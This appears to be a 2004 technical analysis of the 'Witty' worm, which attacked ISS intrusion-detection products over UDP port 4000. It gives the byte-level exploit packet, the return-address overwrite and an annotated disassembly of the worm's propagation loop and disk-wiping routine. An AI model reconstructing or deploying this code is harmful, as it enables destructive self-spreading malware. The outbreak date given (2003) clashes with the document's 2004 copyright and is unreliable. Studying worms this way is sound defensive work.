ISS PAM/ICQ 'Witty' Worm Analysis

By Matthew Murphy (mattmurphy@kc.rr.com)

Although the 'Witty' worm was not particularly widespread, it gained major attention simply for its choice of targets. The worm was unique, because rather than evading perimeter defenses and striking at flaws within corporate networks, this worm took a much different approach. The worm was among the first to strike at the security installations themselves. Exploiting a vulnerability in Internet Security Systems Protocol Analysis Module technology, the worm took advantage of gaps within the very software charged with our protection. As application complexity grows, we must scrutinize every layer of security we insert, as well as weaken. For every point of inspection is now a point of entry for unscrupulous internet intruders. This analysis seeks to provide technical details about the worm, and the lessons it has taught security experts.

Background

Shortly before noon GMT on Saturday, March 20, 2003, SANS' Internet Storm Center, Internet Security Systems, Symantec, and several other organizations released information regarding a significant increase in attack traffic targeted at UDP port 4000. It was later determined that this attack traffic was due to a self-propagating worm, now commonly referred to as 'Witty'. The worm is targeting a remotely-exploitable buffer overflow in the Protocol Analysis Module (PAM) of Internet Security Systems' Intrusion Detection software that handles filtering of ICQ messages.

Brief Description

The Witty worm spreads via a buffer overflow vulnerability in the Protocol Analysis Module (PAM) of several Internet Security Systems products. The PAM code that is responsible for performing information gathering on ICQ's instant messaging protocol suffers from a stack-based buffer overflow due to an insecure sprintf call.

The vulnerability itself is known to affect numerous ISS products, but those affected by the Witty worm are as follows: ISS products lack state information on UDP packets due to the stateless nature of the protocol, so any packet originating from UDP port 4000 is treated as an ICQ server response. When a SRV_META_USER response is received, the IDS does not limit the size of the payload within. If certain preconditions have been satisfied before the packet is received, its data will be copied into a stack-based structure by the IDS. This buffer is of limited size, and statically allocated. The result is a simple stack-based buffer overflow.

Before SRV_META_USER processing can occur, a SRV_USER_ONLINE response must be received to indicate to the IDS that a certain user is online. Otherwise, the IDS will simply drop the following SRV_META_USER response. To accomplish this precondition, the worm uses a single packet. It is a SRV_MULTI response that can be disassembled into two unique responses. The first is the pre-requisite SRV_USER_ONLINE response, while the second is a specially-crafted SRV_META_USER response designed to cause the buffer overflow.

Once the buffer overflow occurs, the worm binds a UDP socket to port 4000. It then sends packets to random IP addresses on the internet that are designed to trigger the buffer overflow when processed by vulnerable ISS perimeter defenses. After transmitting 20,000 packets, the worm opens a handle to one of the machine's physical drives, and writes 64K of data from iss-pam1.dll to random locations on the disk. The result of this action is to slowly corrupt the system's media while the virus continues to spread. This process will be repeated any time that the worm sends 20,000 packets. For instance, the worm will repeat the procedure after having sent 40,000 packets, 60,000 packets, and so on.

Point of Entry

The worm spreads via a single UDP packet to port 4000. Packets aimed at this port are processed by the vulnerable PAM code. This packet is actually a malformed ICQ SRV_MULTI server response. Theoretically, such packets would only be received in normal operations if the user had sent a corresponding ICQ client-to-server packet. However, the IDS does not perform state management, so it processes all packets as legitamite. The ICQ packet that the worm sends has the following form:

Witty Worm ICQ Server-Response Packet Header

Bytes Explanation
ICQ Frame Header
05 00 ICQ Version 5.0
00 Unused
00 00 00 00 Session ID
12 02 Response Command SRV_MULTI: Multiple Responses
00 00 00 00 Sequence Number
00 00 00 00 Universal Identifier Number (UIN)
00 00 00 00 Check Code (similar to a checksum)
SRV_MULTI Parameter Block 1 of 2
02 Number of individual responses
2C 00 Size of sub-response (44 bytes, little-endian)
SRV_MULTI Sub-Response 1 of 2
05 00 ICQ version 5.0
00 Unused
00 00 00 00 Session ID
6E 00 Response Command SRV_USER_ONLINE: User became visible
00 00 00 00 Sequence Number
00 00 00 00 Universal Identifier Number (UIN)
00 00 00 00 Check Code (similar to a checksum)
SRV_USER_ONLINE Response
00 00 00 00 UIN of user changing status
01 00 00 00 Other user's IP address (1.0.0.0)
00 00 00 00 Other user's direct-connect port (default)
00 00 00 00 Other user's private IP address (not set)
00 Unused
00 00 00 00 Other user's new status (unknown)
00 00 Unused padding for alignment
SRV_MULTI Parameter Block 2 of 2
41 02 Size of sub-response (577 bytes)
SRV_MULTI Sub-Response 2 of 2
05 00 ICQ version 5.0
00 Unused
00 00 00 00 Session ID
DE 03 Response Command: SRV_META_USER
00 00 00 00 Sequence Number
00 00 00 00 Universal Identifier Number (UIN)
00 00 00 00 Check code (similar to a checksum)
Invalid SRV_META_USER Response
[Virus Payload]

The SRV_META_USER sub-response (part 2 of the SRV_MULTI answer), is overly-long, resulting in a stack-based buffer overflow in iss-pam1.dll. The IDS fails to check the length of the SRV_META_USER response before filling a data structure with its values. This results in an easily exploited memory corruption situation. The virus is configured such that several bytes between the packet header and the virus' body are used to 'pad' the buffer. These bytes follow:
006b                                    00 00 00 00 00        A...............
0070   00 00 00 00 00 00 00 00 00 00 01 00 00 01 00 00        ................
0080   01 00 00 1e 02 20 20 20 20 20 20 20 28 5e 2e 5e        ............(^.^
0090   29 20 20 20 20 20 20 69 6e 73 65 72 74 20 77 69        )......insert.wi
00a0   74 74 79 20 6d 65 73 73 61 67 65 20 68 65 72 65        tty.message.here
00b0   2e 20 20 20 20 20 20 28 5e 2e 5e 29 20 20 20 20        .......(^.^)....
00c0   20 20 20                                               ...
After reviewing this section, one string within the virus becomes fairly obvious as the reason for its name:
       (^.^)      insert witty message here.      (^.^)       
The four bytes following this string overwrite the saved return address in the procedure's stack frame. This replaces this address with 0x147F8BE7 -- a direct jump into the code of the worm.
00c4    e7 8b 7f 14

Execution

When the worm arrives, the EDI register conveniently contains a reference to an address that is eight bytes prior to the worm. The worm corrects this reference to point to its own code, for later use in its propagation routine.
83C7 08                   ADD EDI, 8
The worm then sets up a stack frame for later storage of data.
81C4 E8FDFFFF             ADD ESP, -218H
With stack frame setup complete, preparation begins to spread the infection. The worm acquires a handle to the ws2_32.dll library via an import of the LoadLibraryA function in the iss-pam1.dll module. Thankfully, this has the effect of limiting the worm to spreading to products with that specific version of the DLL.

During this process, the worm uses a hack to avoid NULL bytes. It zeroes the ECX register with an XOR instruction, and then fills the low-order word (CX) with the final bytes of the string. It then pushes the register's value to the stack, along with other constants that make up the final string. When this is complete, the ESP register points to the beginning of the string. For readers' information, the LoadLibraryA function is declared with the following prototype:
HINSTANCE LoadLibraryA(LPCSTR lpLibFileName);
31C9                      XOR ECX, ECX
66:B9 3332                MOV CX, 3233H	                ; "32"
51                        PUSH ECX
68 7773325F               PUSH 5F327377H                ; "ws2_"
54                        PUSH ESP
3E:FF15 9C400D5E          CALL DWORD PTR [5E0D409C]     ; iss-pam1.dll:__imp_LoadLibraryA
89C3                      MOV EBX, EAX
With the DLL instance handle stored in the EBX register the worm uses a similar trick to locate the address of the socket function via an imported GetProcAddress call, also found in iss-pam1.dll.
31C9                      XOR ECX, ECX
66:B9 6574                MOV CX, 7465H                 ; "et"
51                        PUSH ECX
68 736F636B               PUSH 6B636F73H                ; "sock"
54                        PUSH ESP
53                        PUSH EBX
3E:FF15 98400D5E          CALL DWORD PTR [5E0D4098H]    ; iss-pam1.dll:__imp_GetProcAddress
The worm then creates a User Datagram Protocol (UDP) socket descriptor, and stores a handle to it in the ESI register. This is done by calling the socket function whose address was returned earlier:
SOCKET socket(int af, int type, int proto);
6A 11                     PUSH 11H
6A 02                     PUSH 2
6A 02                     PUSH 2
FFD0                      CALL EAX
89C6                      MOV ESI, EAX
The worm then locates the bind function using the handle to ws2_32.dll returned earlier.
31C9                      XOR ECX, ECX
51                        PUSH ECX
68 62696E64               PUSH 646E6962H                 ; "bind"
54                        PUSH ESP
53                        PUSH EBX
3E:FF15 98400D5E          CALL DWORD PTR [5E0D4098H]     ; iss-pam1.dll:__imp_GetProcAddress
Several instructions are used to create a sockaddr_in structure on the stack:
struct in_addr {
        union {
                struct { u_char s_b1,s_b2,s_b3,s_b4; } S_un_b;
                struct { u_short s_w1,s_w2; } S_un_w;
                u_long S_addr;
        } S_un;
#define s_addr  S_un.S_addr
                                /* can be used for most tcp & ip code */
#define s_host  S_un.S_un_b.s_b2
                                /* host on imp */
#define s_net   S_un.S_un_b.s_b1
                                /* network */
#define s_imp   S_un.S_un_w.s_w2
                                /* imp */
#define s_impno S_un.S_un_b.s_b4
                                /* imp # */
#define s_lh    S_un.S_un_b.s_b3
                                /* logical host */
};

struct sockaddr_in {
        short   sin_family;
        u_short sin_port;
        struct  in_addr sin_addr;
        char    sin_zero[8];
};
The structure is defined to bind to all interfaces (0.0.0.0 IP address), on port 4000 (0x0FA0). The worm then makes its call to the bind function:
int bind(SOCKET s, const struct sockaddr *name, int namelen);
The reason for an explicit bind is due to the fact that the IDS on a vulnerable host will only trigger the ICQ PAM if the packet is coming from the port of an ICQ server (UDP port 4000).
31C9                      XOR ECX, ECX
51                        PUSH ECX
51                        PUSH ECX
51                        PUSH ECX
81E9 FEFFF05F             SUB ECX, 5FF0FFFEH             ; ECX=A00F0002
51                        PUSH ECX
89E1                      MOV ECX, ESP
6A 10                     PUSH 10H
51                        PUSH ECX
56                        PUSH ESI
FFD0                      CALL EAX
The worm locates the sendto function in ws2_32.dll using the same handle as previous calls.
31C9                      XOR ECX, ECX
66:B9 746F                MOV CX, 6F74H                  ; "to"
51                        PUSH ECX
68 73656E64               PUSH 646E6573H                 ; "send"
54                        PUSH ESP
53                        PUSH EBX
3E:FF15 98400D5E          CALL DWORD PTR [5E0D4098H]
With most of its code-location tasks finished, the worm 'leaks' the handle it opened to ws2_32.dll by replacing the value in the EBX register with a handle to the sendto function. It then removes some of the data it previously saved to the stack.
89C3                      MOV EBX, EAX
83C4 3C                   ADD ESP, 3CH
The worm then loads the kernel32.dll library via the LoadLibraryA pointer in iss-pam1.dll.
RESUME_SPREADING:
31C9                      XOR ECX, ECX
51                        PUSH ECX
68 656C3332               PUSH 32336C65H                ; "el32"
68 6B65726E               PUSH 6E72656BH                ; "kern"
54                        PUSH ESP
3E:FF15 9C400D5E          CALL DWORD PTR [5E0D409CH]
The worm then locates and calls the GetTickCount function in kernel32.dll, using the newly-returned handle. This handle is then overwritten by the function's address when the GetProcAddress function is called, resulting in a descriptor leak.
31C9                      XOR ECX, ECX
51                        PUSH ECX
68 6F756E74               PUSH 746E756FH
68 69636B43               PUSH 436B6369H
68 47657454               PUSH 54746547H
54                        PUSH ESP
50                        PUSH EAX
3E:FF15 98400D5E          CALL DWORD PTR [5E0D4098H]
FFD0                      CALL EAX
The worm then saves this count (which equates to the number of 10ms 'ticks' of the system timer since boot), to the EBP register, and removes the most recently saved string data from the stack. This second instruction seems inefficient -- the author could have removed both sets of data at the same time to save space.
89C5              MOV EBP, EAX
83C4 1C           ADD ESP, 1CH
The worm's replication routine begins here. The worm is considerably more complex than other UDP worms (i.e, Slammer) in its random number generation, because it generates three random numbers for each packet. Included in each packet is a random destination port and IP address. Also, to get around the size flagging of previous worms like Slammer, the worm pads its packets with a certain amount of data that is simply leaked from the stack of the compromised IDS. Amazingly, this adaption does not seem to be impacting the worm's ability to regenerate. It seems that the ISS products handle the extraneous data without preventing the exploitation of the vulnerability.

A flaw (or perhaps a design shortcoming) in the code causes all packets sent to a given address to be the same size. It is entirely possible that this was deliberate, as the size variation is significant enough to require substantial mathematical computation if an IDS seeks to fingerprint the possible packet sizes of the worm. Also, the general strategy of the random IP generation seems ineffective when compared to recent worms.
SPREAD_AGAIN:
31C9              XOR ECX, ECX              ; ECX=0
81E9 E0B1FFFF     SUB ECX, FFFFB1E0H        ; ECX=0x4E20
FAIL_SAFE:
51                PUSH ECX
31C0              XOR EAX, EAX              ; EAX=0
2D 03BCFCFF       SUB EAX, FFFCBC03H        ; EAX=0x343FD
F7E5              MUL EBP                   ; EAX=EAX*EBP
2D 3D61D9FF       SUB EAX, FFD9613DH        ; EAX+=0x269EC3
89C1              MOV ECX, EAX              ; ECX=EAX
31C0              XOR EAX, EAX              ; EAX=0
2D 03BCFCFF       SUB EAX, FFFCBC03H        ; EAX=0x343FD     
F7E1              MUL ECX                   ; EAX=EAX*ECX
2D 3D61D9FF       SUB EAX, FFD9613DH        ; EAX+=0x269EC3
89C5              MOV EBP, EAX              ; EBP=EAX
31D2              XOR EDX, EDX              ; EDX=0
52                PUSH EDX                  ; to.sin_zero[4...7]
52                PUSH EDX                  ; to.sin_zero[0...3]
C1E9 10           SHR ECX, 10H              ; ECX=ECX>>16
66:89C8           MOV AX, CX                ; AX=CX (LOWORD(EAX)=LOWORD(ECX))
50                PUSH EAX                  ; to.sin_addr.S_Un.S_Addr
31C0              XOR EAX, EAX              ; EAX=0
2D 03BCFCFF       SUB EAX, FFFCBC03H        ; EAX=0x343FD
F7E5              MUL EBP                   ; EAX=EAX*EBP
2D 3D61D9FF       SUB EAX, FFD9613DH        ; EAX+=0x269EC3
89C5              MOV EBP, EAX              ; EBP=EAX
30E4              XOR AH, AH                ; AH=0 (HIBYTE(LOWORD(EAX))==0)
B0 02             MOV AL, 2                 ; AL=2 (LOBYTE(LOWORD(EAX))==2)
50                PUSH EAX                  ; to.sin_family,to.sin_port
89E0              MOV EAX, ESP              ; EAX=ESP
6A 10             PUSH 10H                  ; sendto:tolen
50                PUSH EAX                  ; sendto:to
31C0              XOR EAX, EAX
50                PUSH EAX                  ; sendto:flags
2D 03BCFCFF       SUB EAX, FFFCBC03H        ; EAX=0x343FD
F7E5              MUL EBP                   ; EAX=EAX*EBP
2D 3D61D9FF       SUB EAX, FFD9613DH        ; EAX+=0x269EC3
89C5              MOV EBP, EAX              ; EBP=EAX
C1E8 17           SHR EAX, 17H              ; EAX=EAX>>23
80C4 03           ADD AH, 3                 ; EAX+=0x300
50                PUSH EAX                  ; sendto:len
57                PUSH EDI                  ; sendto:buf
56                PUSH ESI                  ; sendto:s
FFD3              CALL EBX                  ; ws2_32.sendto
The worm then removes the sockaddr_in structure from the stack, and removes the counter it previously saved, before executing a LOOP instruction.
83C4 10          ADD ESP, 10H
59               POP ECX
E2 98            LOOP SPREAD_AGAIN
If the loop has ended, the most destructive portion of the worm's code is executed. The worm generates another pseudo-random number, and uses bit arithmatic to limit it between 1 and 7. It then builds a string on the stack that resembles this:
\\.\PHYSICALDRIVEx
Where 'x' is the number of the chosen drive to damage, in ASCII format.
31C0             XOR EAX, EAX
2D 03BCFCFF      SUB EAX, FFFCBC03H
F7E5             MUL EBP
2D 3D61D9FF      SUB EAX, FFD9613DH
89C5             MOV EBP, EAX
C1E8 10          SHR EAX, 10H
80E4 07          AND AH, 7
80CC 30          OR AH, 30H
B0 45            MOV AL, 45H
50               PUSH EAX
68 44524956      PUSH 56495244H
68 4943414C      PUSH 4C414349H
68 50485953      PUSH 53594850H
68 5C5C2E5C      PUSH 5C2E5C5CH
The worm then opens this device for raw write access via an import of the CreateFileA API in iss-pam1.dll.
89E0             MOV EAX, ESP
31C9             XOR ECX, ECX
51               PUSH ECX
B2 20            MOV DL, 20H
C1E2 18          SHL EDX, 18H
52               PUSH EDX
6A 03            PUSH 3
51               PUSH ECX
6A 03            PUSH 3
D1E2             SHL EDX, 1
52               PUSH EDX
50               PUSH EAX
3E:FF15 DC400D5E CALL DWORD PTR [5E0D40DCH]    ; iss-pam1.dll:__imp_CreateFileA
83C4 14          ADD ESP, 14H
The worm saves this device handle for a later call to the WriteFile API.
31C9             XOR ECX, ECX
81E9 E0B1FFFF    SUB ECX, FFFFB1E0H
3D FFFFFFFF      CMP EAX, -1
0F84 37FFFFFF    JE FAIL_SAFE
56               PUSH ESI
89C6             MOV ESI, EAX
The worm sets the file pointer to a random value into the disk device by using an import of the SetFilePointer API.
31C0             XOR EAX, EAX
50               PUSH EAX
50               PUSH EAX
2D 03BCFCFF      SUB EAX, FFFCBC03H
F7E5             MUL EBP
2D 3D61D9FF      SUB EAX, FFD9613DH
89C5             MOV EBP, EAX
D1E8             SHR EAX, 1
66:89C8          MOV AX, CX
50               PUSH EAX
56               PUSH ESI
3E:FF15 C4400D5E CALL DWORD PTR [5E0D40C4H]     ; iss-pam1.dll:__imp_SetFilePointer
The worm then writes data to the disk that originates from inside the iss-pam1.dll library. This will eventually cause significant file system corruption on the target host, and is by far the most destructive aspect of this worm. The worm carefully selects source buffer addresses. This appears to have been done as a survival mechanism. Had the worm not pre-selected the location of the data, access violations may have been generated.
31C9             XOR ECX, ECX
51               PUSH ECX
89E2             MOV EDX, ESP
51               PUSH ECX
52               PUSH EDX
B5 80            MOV CH, 80H
D1E1             SHL ECX, 1
51               PUSH ECX
B1 5E            MOV CL, 5EH
C1E1 18          SHL ECX, 18H
51               PUSH ECX
56               PUSH ESI
3E:FF15 94400D5E CALL DWORD PTR [5E0D4094H]     ; iss-pam1.dll:__imp_WriteFileA
The worm then closes the handle to the device. This is one of the few efficiently managed uses of resources throughout the code. Perhaps this is a matter of the worm's survival: leaking device handles would eventually cause the system to fail completely. The handle closure is done via an import in iss-pam1.dll.
56               PUSH ESI
3E:FF15 38400D5E CALL DWORD PTR [5E0D4038H]
The worm executes some final cleanup code to remove stray stack data before returning back to the main propagation loop. An interesting part of this is that the worm reloads kernel32.dll after each trigger of the destructive portion of its code. This worsens the descriptor leak that this creates.
5E               POP ESI
5E               POP ESI
E9 ACFEFFFF      JMP RESUME_SPREADING

Conclusion

As network complexity increases, every layer of functionality, including defenses, must be made secure. The Witty worm demonstrates that excessive complexity in any level of the network, including intrusion prevention, is a significant risk. Many were compromised by Witty's ICQ payload that had no ICQ services to be secured. This incident stresses two critical prinicples of security. The first being that maintenance will become far more critical as the window of time between vulnerability information disclosure and exploitation continues to shrink, even disappearing in some cases. The second being that excessive services, even in intrusion detection, never add to security, and typically degrade it.

Revision History

Acknowledgements


Copyright & Legal Information

This document is Copyright © 2004 Matthew Murphy.

Affected product information is quoted from Internet Security Systems X-Force Alert #167, Copyrighted by Internet Security Systems, Inc. The analysis conducted in this document is based upon data collected by the SANS Institute's Internet Storm Center. The SANS Internet Diary is copyrighted by the SANS Institute. Included function prototypes are reproduced from the Microsoft Windows Platform SDK. The content of the SDK is copyrighted by Microsoft Corporation, with portions derived from software copyrighted by the Regents of the University of California at Berkeley. Republication and redistribution in whole or in part are permitted in accordance with copyrights of third-party contributors cited above, provided this copyright information is included. This document contains information believed to be accurate based on research at time of publication, but the author provides NO WARRANTY of technical accuracy. Also, the author disclaims liability for any and all damages incurred by your use of this document, including but not limited to any damages sustained due to technical or factual errors or otherwise incorrect statements.

Techie.HopTo.Org